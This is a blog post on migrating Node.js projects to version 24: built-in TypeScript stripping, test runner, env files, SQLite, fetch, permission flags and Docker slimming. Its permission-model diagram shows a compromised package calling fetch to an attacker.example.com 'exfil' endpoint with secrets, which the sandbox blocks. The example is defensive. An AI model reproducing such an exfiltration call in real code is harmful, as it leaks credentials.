--- title: "The \"Native-First\" Revolution: How Node.js 24 Is Ending Dependency Hell in 2026" author: "Bhavya Arora" published: "2026-06-17T07:39:50.893Z" updated: "2026-08-31T17:45:00.103Z" url: "https://zyvop.com/the-native-first-revolution-how-node-js-24-is-ending-dependency-hell-in-2026-oougz" canonical: "https://zyvop.com/the-native-first-revolution-how-node-js-24-is-ending-dependency-hell-in-2026-oougz" tags: ["backend-development","backend","Testing","JavaScript","security","2026","TypeScript","npm","DevOps","nodejs"] --- # The "Native-First" Revolution: How Node.js 24 Is Ending Dependency Hell in 2026 From 1,100 packages to 85 — what Node.js 24 LTS means for your stack, your CI bill, and your security posture ![Cover image]() ## 1\. The Forcing Function: Why 2026 Is the Year You Finally Migrate There's a joke that never quite got old: > _"A_ `node_modules` _folder is the heaviest object in the known universe."_ It was funny because it was true. A fresh Express + TypeScript project in 2022 required installing `jest`, `ts-node`, `dotenv`, `nodemon`, `node-fetch`, `uuid`, and `better-sqlite3` before you wrote a single line of business logic — 800–1,200 packages before "Hello World." Docker images ballooned. CI pipelines crept. Every dependency was a supply chain attack waiting to happen. That era is over — and there's a concrete, time-sensitive reason 2026 is the year to act. **Node.js 20 reached end-of-life in April 2026.** If your team is still running it in production, you have no security patches, full stop. Node.js 22 is in Maintenance LTS until April 2027, but it's no longer the recommended target for new work. ```mermaid timeline title Node.js LTS Landscape — June 2026 section End of Life Apr 2026 : Node.js 20 EOL ⛔ Jun 2026 : Node.js 25 EOL ⛔ section Maintenance LTS Until Apr 2027 : Node.js 22 section Active LTS — Use This Oct 2025 to Apr 2028 : Node.js 24 "Krypton" section Current — test it, don't ship it yet May 2026 to Oct 2026 : Node.js 26 → becomes LTS in October section 2027 and beyond One release a year, every release is LTS : Node.js 27+ ``` > **The cadence itself is changing.** Starting with Node.js 27 in 2027, the project drops the old "even versions get LTS, odd versions don't" split entirely — one major release a year, and every release becomes LTS. Node.js 26 (already out, heading to LTS this October) is the _last_ release under the old rules. None of that changes what belongs in production today: Node.js 24 "Krypton" is Active LTS through April 2028, which makes it the right foundation to build on right now, before the new model lands. The upgrade is overdue. And moving to Node.js 24 isn't just a security patch — it's a fundamentally leaner, faster, more secure platform. * * * ## 2\. What "Native-First" Actually Means Over the last three major releases, the core team has systematically absorbed the most-downloaded third-party packages directly into the runtime. The guiding principle: **stop reaching for** `npm install` **for things the platform should handle itself.** ```mermaid graph TD subgraph BEFORE["❌ Node.js ~2022 — You Install Everything"] direction LR A1["Your App"] --> B1["dotenv\nenv vars"] A1 --> C1["jest + babel\ntesting"] A1 --> D1["ts-node / tsx\nTypeScript"] A1 --> E1["nodemon\nfile watch"] A1 --> F1["node-fetch\nHTTP"] A1 --> G1["better-sqlite3\nSQLite"] A1 --> H1["uuid\nrandom IDs"] A1 --> I1["fast-glob\nfile patterns"] B1 & C1 & D1 & E1 & F1 & G1 & H1 & I1 --> Z1["📦 node_modules\n800 – 1,200 packages"] end subgraph AFTER["✅ Node.js 24 — Batteries Included"] direction LR A2["Your App"] --> B2["--env-file\nflag"] A2 --> C2["node:test\nmodule"] A2 --> D2["Native TS\n(default in v24)"] A2 --> E2["--watch\nflag"] A2 --> F2["global fetch\n+ AbortController"] A2 --> G2["node:sqlite\nRC module"] A2 --> H2["crypto.randomUUID()\nbuilt-in"] A2 --> I2["fs.glob()\nbuilt-in"] B2 & C2 & D2 & E2 & F2 & G2 & H2 & I2 --> Z2["📦 node_modules\n~50 – 85 packages"] end ``` In the example project this post walks through, that's a **~92% drop in package count** — and it translates directly into faster installs, leaner Docker images, shorter CI runs, and a smaller attack surface. Let's go through each piece. * * * ## 3\. Feature Deep-Dives ### Native TypeScript — The Build Step Is Dead _(Mostly)_ For a decade, shipping TypeScript meant an unavoidable ceremony: ```bash # Old way — compile first, then run tsc src/index.ts --outDir dist node dist/index.js # Or the slightly-less-painful middle ground: npx ts-node src/index.ts ``` Node.js 24 ends this for most projects. **Type stripping is on by default for** `.ts` **files — no flags, no** `tsconfig.json` **build setup, no** `dist/` **folder:** ```bash # Node.js 24: just run it node src/server.ts ``` Under the hood, Node.js uses `amaro` — a thin wrapper around `@swc/wasm-typescript`, the WebAssembly build of Rust-based SWC's TypeScript parser — to _erase_ type annotations before handing plain JavaScript to V8. This is erasure, not compilation: Node.js never type-checks your code. That's still `tsc --noEmit`'s job. ```typescript // src/api/users.ts — runs directly on Node.js 24, zero build tooling interface User { id: number; name: string; email: string; } async function getUser(id: number): Promise { const res = await fetch(`https://api.example.com/users/${id}`); if (!res.ok) return null; return res.json() as Promise; } const user = await getUser(1); console.log(user?.name ?? 'not found'); ``` ```bash # Always enable source maps for readable stack traces node --enable-source-maps src/api/users.ts # Type checking still lives in CI — Node.js doesn't check types npx tsc --noEmit ``` #### The Honest Limitations Most articles skip this. Here's what native type stripping **cannot handle**: ```typescript // ❌ TypeScript enums → ERR_UNSUPPORTED_TYPESCRIPT_SYNTAX enum Status { Active = 'ACTIVE', Inactive = 'INACTIVE' } // ✅ Fix: use const objects + union types (fully erasable) const Status = { Active: 'ACTIVE', Inactive: 'INACTIVE' } as const; type Status = typeof Status[keyof typeof Status]; // ❌ TypeScript decorators (NestJS, TypeORM, class-transformer) @Controller('/users') class UserController { @Get('/') list() {} } // ✅ Fix: keep tsx or ts-node for decorator-heavy codebases // ❌ Parameter properties class Service { constructor(private readonly db: Database) {} // stripped incorrectly } // ✅ Fix: expand to explicit assignments class Service { private readonly db: Database; constructor(db: Database) { this.db = db; } } // ❌ JSX / TSX — native strip-types is backend-only // Next.js, Remix, Astro — keep your bundler // ❌ TypeScript namespaces (legacy) namespace Utils { export function helper() {} } ``` > **For enums specifically:** `--experimental-transform-types` (Node.js 22.7+) handles them — but it performs actual code transformation, not just stripping, so it's slower and stays opt-in. **What you can delete:** ```bash npm uninstall ts-node ts-node-dev tsx # Keep: typescript (for tsc --noEmit in CI) ``` * * * ### Built-in Test Runner — Dethroning Jest Jest spawns isolated worker processes per file and bootstraps Babel or `ts-jest` on every run. `node:test` (stable since Node.js 20, feature-complete in Node.js 24) runs directly in V8 with no middleware in between. ```mermaid xychart-beta title "200-Test Suite Execution Time (seconds) — lower is better" x-axis ["Jest 29", "Vitest 1.x", "node:test (Node 24)"] y-axis "Seconds" 0 --> 30 bar [28, 11, 4.5] ``` _28s ÷ 4.5s ≈ 6× faster than Jest in this benchmark — your mileage will vary by suite size and I/O._ ```javascript // ─── BEFORE: Jest ───────────────────────────────── import { describe, it, expect, jest } from '@jest/globals'; const fetchMock = jest.fn(); global.fetch = fetchMock; describe('UserService', () => { it('fetches a user by id', async () => { fetchMock.mockResolvedValueOnce({ ok: true, json: async () => ({ id: 1, name: 'Alice' }), }); const { UserService } = await import('../src/user.service.js'); const user = await UserService.getById(1); expect(user.name).toBe('Alice'); expect(fetchMock).toHaveBeenCalledTimes(1); }); }); // ─── AFTER: node:test — zero external packages ──── import { describe, it, afterEach, mock } from 'node:test'; import assert from 'node:assert/strict'; describe('UserService', () => { afterEach(() => mock.restoreAll()); it('fetches a user by id', async () => { mock.method(globalThis, 'fetch', async () => ({ ok: true, json: async () => ({ id: 1, name: 'Alice' }), })); // ⚠️ Mock first, dynamic-import the module second — see Pitfall 5 const { UserService } = await import('../src/user.service.js'); const user = await UserService.getById(1); assert.equal(user.name, 'Alice'); assert.equal(globalThis.fetch.mock.callCount(), 1); }); }); ``` ```bash node --test # Run all tests node --test src/**/*.test.ts # With TypeScript (Node 24) node --test --watch # Watch mode node --test --experimental-test-coverage # Coverage report node --test --reporter=junit > results.xml # CI-friendly output ``` `node:test` matches Jest on the basics — `describe`/`it`, lifecycle hooks, native mocking, watch mode (via `--watch`), and multiple reporters are all there. Where they actually diverge: | | `node:test` | Jest | | --- | --- | --- | | Coverage reports | ✅ (behind a flag) | ✅ | | Snapshot testing | ✅ (since 22.3) | ✅ | | Dependencies required | **0** | **870+** | | Cold start (typical) | **~0.3s** | **~4–6s** | > **Snapshot testing:** added in Node.js 22.3.0 via `t.assert.snapshot()` — simpler API than Jest's, run once with `--test-update-snapshots` to generate, then without to assert. **What you can delete:** ```bash npm uninstall jest @types/jest ts-jest babel-jest jest-circus @jest/globals sinon nock ``` * * * ### Five Smaller Wins: Env Vars, Watch Mode, Crypto, Glob & Dirname Five more packages Node.js 24 makes optional, none individually big enough to need its own section: ```bash # Env vars — no more dotenv (40M+ weekly downloads, now optional) node --env-file=.env --env-file=.env.local src/server.ts # Watch mode — no more nodemon (stable since Node.js 22) node --watch --enable-source-maps src/server.ts ``` ```typescript import { randomUUID } from 'node:crypto'; // delete uuid import { glob } from 'node:fs/promises'; // delete fast-glob, globby import { join } from 'node:path'; const id = randomUUID(); const tsFiles = await Array.fromAsync(glob('src/**/*.ts')); const cfgPath = join(import.meta.dirname, 'config.json'); // the modern __dirname ``` Two caveats: `--env-file` doesn't support variable expansion (`${BASE_URL}` won't interpolate — keep `dotenv-expand` if you rely on that), and `nodemon` still wins when you need restarts on non-JS file changes or custom pre/post-restart scripts. ```bash npm uninstall dotenv dotenv-expand dotenv-safe nodemon uuid glob fast-glob globby ``` * * * ### Built-in SQLite — Zero-Setup Database _(Release Candidate)_ > **Stability notice:** `node:sqlite` reached **Stability 1.2 — Release Candidate** in Node.js v25.7.0 (February 2026). It's not experimental anymore, but minor API refinements are still possible before it reaches full Stability 2. Treat it like a late-beta for your most critical paths until then. ```typescript import { DatabaseSync } from 'node:sqlite'; const db = new DatabaseSync('./inventory.db'); db.exec(` CREATE TABLE IF NOT EXISTS products ( id INTEGER PRIMARY KEY AUTOINCREMENT, sku TEXT NOT NULL UNIQUE, name TEXT NOT NULL, price REAL NOT NULL CHECK(price > 0), stock INTEGER NOT NULL DEFAULT 0 ) `); // Prepared statements prevent SQL injection const upsert = db.prepare('INSERT OR REPLACE INTO products (sku, name, price, stock) VALUES (?, ?, ?, ?)'); const lowStock = db.prepare('SELECT * FROM products WHERE stock < ? ORDER BY stock ASC'); upsert.run('GADGET-002', 'Gadget Lite', 9.99, 3); console.log('Low stock:', lowStock.all(10)); db.close(); ``` | Use case | `node:sqlite` (RC) | `better-sqlite3` | ORM (Prisma/Drizzle) | | --- | --- | --- | --- | | Scripts & CLI tools | ✅ Perfect | ✅ | ❌ Overkill | | Prototyping | ✅ Perfect | ✅ | ❌ Overkill | | Lightweight internal services | ✅ Good | ✅ Better typed | ✅ | | Complex production queries | ⚠️ RC — evaluate | ✅ Battle-tested | ✅ Best | | SQLite extensions (FTS5, JSON1) | ❌ | ✅ | ✅ | | TypeScript types + migrations | ⚠️ Manual | ✅ | ✅ Best | * * * ### Native Fetch, AbortController & Web APIs `fetch` is a stable global in Node.js 24, powered by Undici 7. No imports, no packages: ```typescript // POST with a timeout — AbortController is also a global, no package needed async function createOrder(payload: Record) { const ctrl = new AbortController(); const timer = setTimeout(() => ctrl.abort(), 5_000); try { const res = await fetch('https://api.example.com/orders', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload), signal: ctrl.signal, }); if (!res.ok) throw new Error(`HTTP ${res.status}`); return res.json(); } finally { clearTimeout(timer); } } ``` **Stable globals in Node.js 24 and what they used to require:** | Global | Replaces | | --- | --- | | `fetch()` | `axios`, `node-fetch`, `got` | | `AbortController` / `AbortSignal` | `abort-controller` package | | `URL` / `URLSearchParams` | `url` package | | `URLPattern` | _(was never native before)_ | | `FormData` | `form-data` package | | `Blob` / `File` | `blob` package | | `WebSocket` _(client)_ | `ws` package _(client use)_ | | `crypto.subtle` | `node-forge`, `crypto-js` | | `structuredClone()` | `lodash.clonedeep` | > **When to keep** `axios`**:** request/response interceptors, automatic retry logic, and a unified browser+server API are genuine advantages it still has. For backend-only code without those needs, native `fetch` covers everything. **What you can delete:** ```bash npm uninstall node-fetch isomorphic-fetch cross-fetch abort-controller form-data blob ``` * * * ### Permission Model — Runtime Security Built In This is the most underrated feature in Node.js 24, now **production-stable** (no longer behind `--experimental-permission` — just `--permission`): ```bash # Read-only analytics: can only read /data node --permission --allow-fs-read=/data src/analytics.ts # Strict API server: only talk to specific domains node --permission \ --allow-fs-read=$(pwd) \ --allow-net=api.stripe.com,hooks.sendgrid.com \ src/server.ts # Maximum lockdown for a data processor node --permission \ --allow-fs-read=$(pwd)/src \ --allow-fs-write=/tmp/output \ src/processor.ts ``` Supply chain attacks on npm packages are a growing, documented threat. A compromised dependency can, by default, do anything your process can: read `.env`, exfiltrate credentials, write to disk. With `--permission`, even a fully malicious package is sandboxed: ```mermaid sequenceDiagram actor Evil as 😈 Compromised Package participant PM as Node.js Permission Model participant ENV as .env File participant Net as attacker.example.com Evil->>PM: fs.readFile('.env') PM-->>Evil: ❌ ERR_ACCESS_DENIED — fs-read not granted for '/' Evil->>PM: fetch('https://attacker.example.com/exfil', secrets) PM-->>Evil: ❌ ERR_ACCESS_DENIED — domain not in --allow-net Note over PM: 🔒 Secrets never leave your server ``` > **Pro tip:** run your test suite under `--permission` too. `node --permission --allow-fs-read=$(pwd) --test` ensures tests can't make unexpected network calls or write stray files outside your project directory. * * * ### Single Executable Applications (SEA) Node.js 24 backports a one-step SEA build: the `--build-sea` flag (introduced in Node.js 25.5, then backported to the 24.x LTS line) packages your app into a single binary that runs without Node.js installed on the target machine — no separate `postject` step needed: ```bash # Step 1: bundle your app — all dependencies inlined npx esbuild src/cli.ts --bundle --platform=node --outfile=dist/bundle.js # Step 2: describe the executable echo '{"main":"dist/bundle.js","output":"my-cli"}' > sea-config.json # Step 3: build it — one command, done node --build-sea sea-config.json # Step 4: ship it ./my-cli --help ``` > Older guides describe a manual workflow — copy the `node` binary yourself, then inject the blob with `npx postject ... --sentinel-fuse ...`. Node.js keeps that path working for backward compatibility, but `--build-sea` replaces it for the common case. Use the manual route only if you need something `--build-sea` doesn't yet support. > **Best use cases:** CLI tools distributed to non-developers, internal utilities where installing Node.js is impractical, and portable microservices on minimal container images. > > **Current limitation:** your app and its dependencies must be bundled into a single JS file first (esbuild, rollup, etc.). Native addons that load files from disk at runtime need to be shipped as separate assets. * * * ## 4\. The Bonus Round: V8 13.6, npm 11, Undici 7 & AsyncLocalStorage ### V8 13.6 — New JavaScript, Faster Execution ```typescript // Float16Array — half the memory of Float32Array. Useful for ML inference, WebGL, audio. const weights = new Float16Array([0.5, 0.25, 0.125, 0.0625]); // using — Explicit Resource Management (TC39 stage 4). Auto-disposes on block exit, even on error. import { DatabaseSync } from 'node:sqlite'; function processReport() { using db = new DatabaseSync('./reports.db'); return db.prepare('SELECT * FROM sales').all(); } // RegExp.escape() — safe dynamic regex, no more escape-string-regexp. const pattern = new RegExp(RegExp.escape(userInput)); // Error.isError() — reliable across realms/iframes, unlike instanceof. if (Error.isError(err)) { /* ... */ } ``` * * * ### npm 11 — Shipped With Node.js 24 Faster installs via an improved resolution algorithm, stricter audit (no more falling back to a deprecated advisory endpoint), smarter `npm init` scaffolding prompts, and fewer phantom peer-dependency warnings. > **⚠️ Lockfile heads-up:** npm 11 changed lockfile resolution behavior. If you commit `package-lock.json`, regenerate it explicitly in its own PR rather than letting it drift silently: > > ```bash > rm package-lock.json && npm install > git add package-lock.json > git commit -m "chore: regenerate lockfile for npm 11 resolution" > ``` * * * ### Undici 7 — The Engine Behind Every `fetch()` Call Every `fetch()` in Node.js goes through Undici. Version 7 brings stricter spec compliance (`Blob`/`FormData`/`AbortController` are fully native now, no more polyfills), a streamable `WebSocketStream` API, and two practical wins: ```typescript // A SQLite-backed cache store — multiple Node.js processes (PM2 cluster mode) // can share one HTTP cache instead of each keeping its own in-memory copy. import { Agent, interceptors, cacheStores, setGlobalDispatcher } from 'undici'; setGlobalDispatcher( new Agent().compose( interceptors.cache({ store: new cacheStores.SqliteCacheStore({ location: './http-cache.db' }) }) ) ); ``` ```bash # Proxy support via NODE_USE_ENV_PROXY=1 — fetch() now respects HTTP_PROXY/HTTPS_PROXY # natively, ending a long-standing pain point for teams behind a corporate proxy. NODE_USE_ENV_PROXY=1 node --env-file=.env src/server.ts ``` * * * ### AsyncLocalStorage / AsyncContextFrame `AsyncLocalStorage` is the foundation for request-scoped context — trace IDs, per-request logging, session data across async boundaries. Node.js 24 switches its default implementation to **AsyncContextFrame**, lighter-weight than the old `async_hooks`\-based one, which lowers per-request overhead for high-throughput tracing: ```typescript import { AsyncLocalStorage } from 'node:async_hooks'; const requestCtx = new AsyncLocalStorage<{ traceId: string }>(); app.use((req, res, next) => { requestCtx.run({ traceId: req.headers['x-trace-id'] ?? crypto.randomUUID() }, next); }); function logAction(action: string) { const { traceId } = requestCtx.getStore() ?? { traceId: 'unknown' }; console.log(JSON.stringify({ action, traceId, ts: Date.now() })); } ``` * * * ## 5\. Heads Up: npm v12 Is Coming in July 2026 This is the section most guides miss, and it directly affects every Node.js 24 project. **npm v12 is estimated to ship in July 2026.** It introduces security-first defaults that will quietly break install scripts many teams depend on: `allowScripts` **defaults to off.** `npm install` will stop running `preinstall`/`install`/`postinstall` scripts — including the implicit `node-gyp` rebuild that native-addon packages like `bcrypt`, `sharp`, and `canvas` rely on — unless you've explicitly allowed them: ```bash # npm v12 — install scripts are blocked unless approved npm install some-package # → ⚠️ Skipping install scripts for: some-package (allowScripts: off) ``` **Git and remote-URL dependencies are blocked by default** too — `--allow-git` and `--allow-remote` become required flags for `github:user/repo` or tarball-URL dependencies. ### What to do before July 2026 The new behavior already ships as warnings in npm 11.16.0+, so you can see exactly what would break before the hard cutover: ```bash # 1. See what would be blocked under the new default npm approve-scripts --allow-scripts-pending # 2. Approve the packages you trust — this writes an allowScripts # map to package.json that your team can review in PRs npm approve-scripts bcrypt sharp canvas # 3. Confirm CI passes with scripts off, simulating the v12 default npm install --ignore-scripts ``` > **The security story:** `allowScripts: off` pairs directly with Node.js 24's Permission Model. Together they close two of the biggest supply-chain attack vectors — malicious code running at install time, and malicious behavior at runtime — in a way that wasn't possible on Node.js 20. * * * ## 6\. Docker: The Full Before/After ```dockerfile # ───────────────────────────────────────────── # ❌ BEFORE (2022-era) — ships everything # ───────────────────────────────────────────── FROM node:20 WORKDIR /app COPY package*.json ./ # Installs jest, ts-node, nodemon, dotenv, sinon... all of it RUN npm ci COPY . . # Required compile step RUN npm run build EXPOSE 3000 CMD ["node", "dist/server.js"] # Illustrative final image size: ~950MB # node:20 base: ~320MB # node_modules (1,100 pkgs): ~480MB # dist/ + source: ~150MB ``` ```dockerfile # ───────────────────────────────────────────── # ✅ AFTER (Node.js 24, Native-First) # Multi-stage: no build step, no dist folder # ───────────────────────────────────────────── FROM node:24-slim AS deps WORKDIR /app COPY package*.json ./ # Only 2 real dependencies: express + typescript (for type-checking in CI) RUN npm ci --omit=dev FROM node:24-slim AS runtime WORKDIR /app COPY --from=deps /app/node_modules ./node_modules COPY src/ ./src/ COPY package.json tsconfig.json ./ # Non-root user — security best practice USER node EXPOSE 3000 # Run TypeScript directly — no dist folder, no ts-node CMD ["node", "--enable-source-maps", "src/server.ts"] # Illustrative final image size: ~165MB (about 6x smaller, faster to pull) # node:24-slim base: ~85MB # node_modules (~85): ~55MB # Source files: ~25MB ``` Want to go further? `node:24-alpine` gets you closer to ~90MB. Bundling your source with `esbuild` on top of a Distroless base can push a minimal microservice down toward the 20–30MB range — your numbers will depend on your actual dependency tree, so benchmark your own image rather than taking any of this as gospel. * * * ## 7\. The Big Migration: package.json Before & After **❌ Before — typical 2023 Express + TypeScript project:** ```json { "name": "my-api", "type": "module", "scripts": { "start": "node dist/server.js", "dev": "nodemon --exec ts-node src/server.ts", "build": "tsc", "test": "jest --coverage", "typecheck": "tsc --noEmit" }, "dependencies": { "axios": "^1.6.0", "better-sqlite3": "^9.2.0", "dotenv": "^16.3.1", "express": "^4.18.2", "uuid": "^9.0.1" }, "devDependencies": { "@types/better-sqlite3": "^7.6.8", "@types/express": "^4.17.21", "@types/jest": "^29.5.11", "@types/node": "^20.11.0", "@types/uuid": "^9.0.7", "babel-jest": "^29.7.0", "jest": "^29.7.0", "nodemon": "^3.0.2", "sinon": "^17.0.1", "ts-jest": "^29.1.1", "ts-node": "^10.9.2", "typescript": "^5.3.3" } } ``` > **~1,100 packages · Docker: ~950MB ·** `npm install`**: ~75s · Test suite: ~28s** _(illustrative, for this example project)_ * * * **✅ After — Node.js 24 Native-First:** ```json { "name": "my-api", "type": "module", "engines": { "node": ">=24.0.0" }, "scripts": { "start": "node --env-file=.env src/server.ts", "dev": "node --env-file=.env --watch --enable-source-maps src/server.ts", "test": "node --env-file=.env.test --test src/**/*.test.ts", "coverage": "node --test --experimental-test-coverage src/**/*.test.ts", "typecheck": "tsc --noEmit" }, "dependencies": { "express": "^5.0.0" }, "devDependencies": { "@types/express": "^5.0.0", "typescript": "^5.6.0" } } ``` > **~85 packages · Docker: ~165MB ·** `npm install`**: ~8s · Test suite: ~4.5s** _(same example project)_ > **Note on Express versions:** the "Before" uses Express 4, and the "After" uses Express 5 — Express's current recommended baseline for new projects. That swap is a separate decision from the Node.js 24 migration. Migrating Express 4 → 5 is usually straightforward but should ship as its own PR, not bundled with the runtime upgrade. **~92% fewer packages · ~83% smaller Docker image · ~89% faster installs · ~84% faster tests · zero capability lost** _(again, this example project — measure your own)_. * * * ## 8\. Common Migration Pitfalls (With Real Error Messages) These are the errors your team will actually hit. **Pitfall 1 — TypeScript enums blow up immediately** ```typescript SyntaxError [ERR_UNSUPPORTED_TYPESCRIPT_SYNTAX]: TypeScript enum declarations are not supported in strip-only mode. ``` Fix: use `as const` objects (see the Honest Limitations section above) or add `--experimental-transform-types`. **Pitfall 2 — Missing file extensions in ESM imports** ```typescript Error [ERR_MODULE_NOT_FOUND]: Cannot find module './user.service' ``` ```typescript // ❌ import { UserService } from './user.service' // ✅ Node requires explicit extensions in ES modules — // .js works even when the source file is .ts; Node 24 resolves it. import { UserService } from './user.service.js'; ``` **Pitfall 3 —** `__dirname` **doesn't exist in ES modules** ```typescript ReferenceError: __dirname is not defined in ES module scope ``` ```typescript // ✅ import.meta.dirname (stable since Node.js 20.11) — no fileURLToPath workaround needed import { join } from 'node:path'; const configPath = join(import.meta.dirname, 'config.json'); ``` **Pitfall 4 —** `require()` **used in ES module context** ```typescript ReferenceError: require is not defined in ES module scope ``` ```typescript // ❌ const config = require('./config.json') // ✅ Use an import assertion instead import config from './config.json' with { type: 'json' }; ``` **Pitfall 5 —** `node:test` **mocks not applied before module import** ```css Expected mock to be called. Calls: 0 ``` ```typescript // ❌ Module imported at the top — the mock wasn't set up yet import { UserService } from '../src/user.service.js'; // ✅ Set up the mock first, then dynamically import inside the test mock.method(globalThis, 'fetch', async () => ({ /* ... */ })); const { UserService } = await import('../src/user.service.js'); ``` **Pitfall 6 — npm 11 silently regenerates your lockfile** Symptom: `git diff` shows unexpected `package-lock.json` changes after a plain `npm install`. Fix: regenerate it explicitly, in its own commit (see Section 4's npm 11 callout). **Pitfall 7 —** `--experimental-test-coverage` **still needs the experimental flag** Even on Node.js 24, test-runner coverage hasn't graduated to stable. That's expected — add it to CI and accept the warning for now: ```bash node --test --experimental-test-coverage # ⚠️ ExperimentalWarning: --experimental-test-coverage is experimental # This is fine — coverage still works correctly. ``` * * * ## 9\. Decision Guide: Native vs. Third-Party ```mermaid flowchart TD A["Need a tool?"] --> B{"Is it covered\nby Node.js 24?"} B -->|"No"| C["Use the best\nthird-party package ✅"] B -->|"Yes"| D{"Does your codebase\nuse decorators,\nenums, or JSX?"} D -->|"Yes — TypeScript"| E["Keep tsx / ts-node\nfor TypeScript execution"] D -->|"No"| F{"Is this a\nproduction app\nor a script/CLI?"} F -->|"Script / CLI / Prototype"| G["Use native ✅"] F -->|"Production App"| H{"Hitting a\nnative limitation?"} H -->|"No"| G H -->|"Yes\n(e.g. SQLite extensions,\nretry logic)"| C ``` **Quick reference:** | What you need | Native (Node.js 24) | Still use 3rd party when | | --- | --- | --- | | Run TypeScript | `node src/file.ts` _(default)_ | Decorators, enums, JSX, parameter properties | | Test your code | `node --test` | Complex snapshot trees, `@testing-library`, frontend | | Load env vars | `--env-file=.env` | Variable interpolation `${VAR}` | | SQLite database | `node:sqlite` _(RC)_ | SQLite extensions, ORM features, critical production paths | | HTTP requests | `global fetch` | Interceptors, retries, browser+server unified API | | File watching | `--watch` | Non-JS file watching, custom restart hooks | | Generate UUIDs | `crypto.randomUUID()` | v1, v5, v7 UUID variants | | Match file globs | `fs.glob()` | Streaming very large directory trees | | Resolve `__dirname` | `import.meta.dirname` | Node.js < 20.11 (use the old workaround) | | Runtime security | `--permission` | Always — no third-party equivalent exists | | Portable binary | `--build-sea` | Complex multi-file assets, native addon dependencies | * * * ## 10\. Final Thoughts & Action Plan The `node_modules` joke persisted for a decade because the problem was real. Every `npm install dotenv jest ts-node nodemon` was a tax — on your CI pipeline, your Docker registry, your attack surface, and the mental overhead of every developer who joins your team. Node.js 24 doesn't ask you to adopt a new framework, learn a new paradigm, or rewrite your app. It asks you to do less. Stop installing packages for things the runtime already does. The result: faster builds, smaller images, fewer vulnerabilities, and a codebase new engineers can understand faster. Here's a realistic migration plan that won't break anything: ```mermaid gantt title Node.js 24 Native-First Migration Plan dateFormat YYYY-MM-DD section Week 1 — Zero Risk Upgrade Node.js to 24 LTS :w1a, 2026-06-22, 3d Replace nodemon with --watch :w1b, 2026-06-22, 1d Replace dotenv with --env-file :w1c, 2026-06-23, 1d section Week 2 — Low Risk Migrate one test file to node:test :w2a, 2026-06-29, 3d Replace uuid with crypto.randomUUID :w2b, 2026-06-29, 1d Audit install scripts for npm v12 :w2c, 2026-06-30, 2d section Week 3–4 — Medium Effort Migrate full test suite to node:test :w3a, 2026-07-06, 5d Replace node-fetch for simple calls :w3b, 2026-07-08, 2d section Month 2 — Architectural Evaluate TypeScript stripping :m2a, 2026-07-20, 7d Add --permission flags to services :m2b, 2026-07-27, 5d Migrate SQLite to node:sqlite RC :m2c, 2026-07-27, 5d Update Dockerfiles (multi-stage) :m2d, 2026-08-03, 3d ``` Start with Week 1 — single-line changes that compound into real savings before the next step even begins. **Your** `node_modules` **diet starts today.** * * * ## 11\. FAQ **Q: Can Node.js 24 run TypeScript without ts-node or tsx?** Yes. Type stripping is on by default — run `node src/file.ts` directly. The catch: enums, decorators, JSX, and namespaces aren't supported without `--experimental-transform-types`. If your codebase leans on those, `tsx` is still the pragmatic choice. **Q: Does** `node:test` **fully replace Jest?** For backend/Node-only projects, yes — mocking, lifecycle hooks, watch mode, and snapshot testing (`context.assert.snapshot()`) are all there. For frontend testing with `@testing-library/react` or deep snapshot trees, stay on Jest or Vitest. **Q: How do I load** `.env` **files without** `dotenv`**?**`node --env-file=.env src/server.ts`. Cascade environments with multiple `--env-file` flags. The one gap: no variable interpolation (`${VAR}`) — keep `dotenv-expand` if you depend on that. **Q: Is** `node:sqlite` **production-ready?** It's **Release Candidate (Stability 1.2)** as of Node.js v25.7.0 — not experimental, but not fully stabilized either. Safe for scripts, CLIs, and internal tooling. For business-critical paths, `better-sqlite3` or an ORM remains the safer call until it reaches Stability 2. **Q: What npm packages can I safely remove after upgrading?** Candidates: `dotenv`, `jest` (and `ts-jest`, `babel-jest`, `sinon`), `ts-node`, `tsx`, `nodemon`, `node-fetch`, `abort-controller`, `form-data`, `uuid`, `fast-glob`, `glob`. Check each against your actual usage before uninstalling — don't do it blind. **Q: What's the npm v12** `allowScripts` **change, and when does it land?** npm v12 is estimated for July 2026. It defaults `allowScripts` to off, so install scripts (`postinstall`, etc.) stop running automatically — including the implicit `node-gyp` rebuild for native addons like `bcrypt`, `sharp`, and `canvas`. Audit now with `npm approve-scripts --allow-scripts-pending` on npm 11.16+, while it's still warning-only. **Q: Should I migrate Express 4 → 5 at the same time as Node?** No — keep them as separate PRs. Upgrading Node to 24 doesn't require an Express upgrade, and each migration is easier to verify and roll back on its own. * * * ## 12\. Further Reading **Official documentation** - 📖 [Node.js 24.0.0 Release Notes]() - 📖 [Running TypeScript Natively in Node.js]() - 📖 `node:test` [API Reference]() - 📖 `node:sqlite` [Documentation]() - 📖 [Permission Model]() - 📖 [Single Executable Applications]() - 📖 [Node.js is changing its release schedule and version numbers]() — the official word on the 2027 cadence change - 📖 [npm v12 upcoming breaking changes]() — GitHub Changelog, the primary source for Section 5 **Articles & deep dives** - 📰 [Node 22 vs Node 24 in 2026]() — PkgPulse, a direct upgrade-path comparison - 📰 [What's New in Node.js 24]() — AppSignal, good detail on Undici 7 and the SQLite cache store - 📰 [Improving Single Executable Application Building for Node.js]() — Joyee Cheung, who built `--build-sea`, on how it actually works **Tools** - 🛠️ [nvm]() — `nvm install 24 && nvm use 24` - 🛠️ [Volta]() — `volta install node@24` - 🛠️ [socket.dev]() — supply chain monitoring; pairs well with the Permission Model and the npm v12 `allowScripts` change * * * _If your team is still running Node.js 20 — which reached end-of-life in April 2026 — upgrade to Node.js 24 today. The migration is well-documented, the breaking changes are manageable, and the benefits start compounding on day one._